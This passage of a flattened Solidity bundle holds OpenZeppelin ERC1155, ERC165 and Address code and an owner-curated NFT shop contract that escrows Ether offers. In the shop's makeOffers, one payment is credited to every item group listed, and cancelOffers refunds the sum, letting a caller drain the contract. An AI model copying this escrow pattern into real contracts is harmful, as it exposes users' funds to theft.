* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC1155.sol";
import "./IERC1155MetadataURI.sol";
import "./IERC1155Receiver.sol";
import "../../utils/Context.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) public {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account].sub(
amount,
"ERC1155: burn amount exceeds balance"
);
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
"ERC1155: burn amount exceeds balance"
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
/**
@title A simple Shop contract for selling ERC-1155s for Ether via direct
minting.
@author Tim Clancy
This contract is a limited subset of the Shop1155 contract designed to mint
items directly to the user upon purchase. This shop additionally requires the
owner to directly approve purchase requests from prospective buyers.
*/
contract ShopEtherMinter1155Curated is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 1;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A user-specified Fee1155 contract to support selling items from.
Fee1155 public item;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// The Shop's inventory of item groups for sale.
uint256[] public inventory;
/// The Shop's price for each item group.
mapping (uint256 => uint256) public prices;
/// A mapping of each item group ID to an array of addresses with offers.
mapping (uint256 => address[]) public bidders;
/// A mapping for each item group ID to a mapping of address-price offers.
mapping (uint256 => mapping (address => uint256)) public offers;
/**
Construct a new Shop by providing it a FeeOwner.
@param _item The address of the Fee1155 item that will be minting sales.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
*/
constructor(Fee1155 _item, FeeOwner _feeOwner) public {
item = _item;
feeOwner = _feeOwner;
}
/**
Returns the length of the inventory array.
@return the length of the inventory array.
*/
function getInventoryCount() external view returns (uint256) {
return inventory.length;
}
/**
Returns the length of the bidder array on an item group.
@return the length of the bidder array on an item group.
*/
function getBidderCount(uint256 groupId) external view returns (uint256) {
return bidders[groupId].length;
}
/**
Allows the Shop owner to list a new set of NFT items for sale.
@param _groupIds The item group IDs to list for sale in this shop.
@param _prices The corresponding purchase price to mint an item of each group.
*/
function listItems(uint256[] calldata _groupIds, uint256[] calldata _prices) external onlyOwner {
require(_groupIds.length > 0,
"You must list at least one item.");
require(_groupIds.length == _prices.length,
"Items length cannot be mismatched with prices length.");
// Iterate through every specified item group to list items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
uint256 price = _prices[i];
inventory.push(groupId);
prices[groupId] = price;
}
}
/**
Allows the Shop owner to remove items from sale.
@param _groupIds The group IDs currently listed in the shop to take off sale.
*/
function removeItems(uint256[] calldata _groupIds) external onlyOwner {
require(_groupIds.length > 0,
"You must remove at least one item.");
// Iterate through every specified item group to remove items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
prices[groupId] = 0;
}
}
/**
Allows any user to place an offer to purchase an item group from this Shop.
For this shop, users place an offer automatically at the price set by the
Shop owner. This function takes a user's Ether into escrow for the offer.
@param _itemGroupIds An array of (unique) item groups for a user to place an offer for.
*/
function makeOffers(uint256[] calldata _itemGroupIds) public nonReentrant payable {
require(_itemGroupIds.length > 0,
"You must make an offer for at least one item group.");
// Iterate through every specified item to make an offer on items.
for (uint256 i = 0; i < _itemGroupIds.length; i++) {
uint256 groupId = _itemGroupIds[i];
uint256 price = prices[groupId];
require(price > 0,
"You cannot make an offer for an item that is not listed.");
// Record an offer for this item.
bidders[groupId].push(msg.sender);
offers[groupId][msg.sender] = msg.value;
}
}
/**
Allows any user to cancel an offer for items from this Shop. This function
returns a user's Ether if there is any in escrow for the item group.
@param _itemGroupIds An array of (unique) item groups for a user to cancel an offer for.
*/
function cancelOffers(uint256[] calldata _itemGroupIds) public nonReentrant {
require(_itemGroupIds.length > 0,
"You must cancel an offer for at least one item group.");
// Iterate through every specified item to cancel offers on items.
uint256 returnedOfferAmount = 0;
for (uint256 i = 0; i < _itemGroupIds.length; i++) {
uint256 groupId = _itemGroupIds[i];
uint256 offeredValue = offers[groupId][msg.sender];
returnedOfferAmount = returnedOfferAmount.add(offeredValue);
offers[groupId][msg.sender] = 0;
}
// Return the user's escrowed offer Ether.
(bool success, ) = payable(msg.sender).call{ value: returnedOfferAmount }("");
require(success, "Returning canceled offer amount failed.");
}
/**
Allows the Shop owner to accept any valid offer from a user. Once the Shop
owner accepts the offer, the Ether is distributed according to fees and the
item is minted to the user.
@param _groupIds The item group IDs to process offers for.
@param _bidders The specific bidder for each item group ID to accept.
@param _itemIds The specific item ID within the group to mint for the bidder.
@param _amounts The amount of specific item to mint for the bidder.
*/
function acceptOffers(uint256[] calldata _groupIds, address[] calldata _bidders, uint256[] calldata _itemIds, uint256[] calldata _amounts) public nonReentrant onlyOwner {
require(_groupIds.length > 0,
"You must accept an offer for at least one item.");
require(_groupIds.length == _bidders.length,
"Group IDs length cannot be mismatched with bidders length.");
require(_groupIds.length == _itemIds.length,
"Group IDs length cannot be mismatched with item IDs length.");
require(_groupIds.length == _amounts.length,
"Group IDs length cannot be mismatched with item amounts length.");
// Accept all offers and disperse fees accordingly.
uint256 feePercent = feeOwner.fee();
uint256 itemRoyaltyPercent = item.feeOwner().fee();
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
address bidder = _bidders[i];
uint256 itemId = _itemIds[i];
uint256 amount = _amounts[i];
// Verify that the offer being accepted is still valid.
uint256 price = prices[groupId];
require(price > 0,
"You cannot accept an offer for an item that is not listed.");
uint256 offeredPrice = offers[groupId][bidder];
require(offeredPrice >= price,
"You cannot accept an offer for less than the current asking price.");
// Split fees for this purchase.
uint256 feeValue = offeredPrice.mul(feePercent).div(100000);
uint256 royaltyValue = offeredPrice.mul(itemRoyaltyPercent).div(100000);
(bool success, ) = payable(feeOwner.owner()).call{ value: feeValue }("");
require(success, "Platform fee transfer failed.");
(success, ) = payable(item.feeOwner().owner()).call{ value: royaltyValue }("");
require(success, "Creator royalty transfer failed.");
(success, ) = payable(owner()).call{ value: offeredPrice.sub(feeValue).sub(royaltyValue) }("");
require(success, "Shop owner transfer failed.");
// Mint the item.
item.mint(bidder, itemId, amount, "");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC1155Receiver.sol";
/**
* @dev _Available since v3.1._
*/
contract ERC1155Holder is ERC1155Receiver {
function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
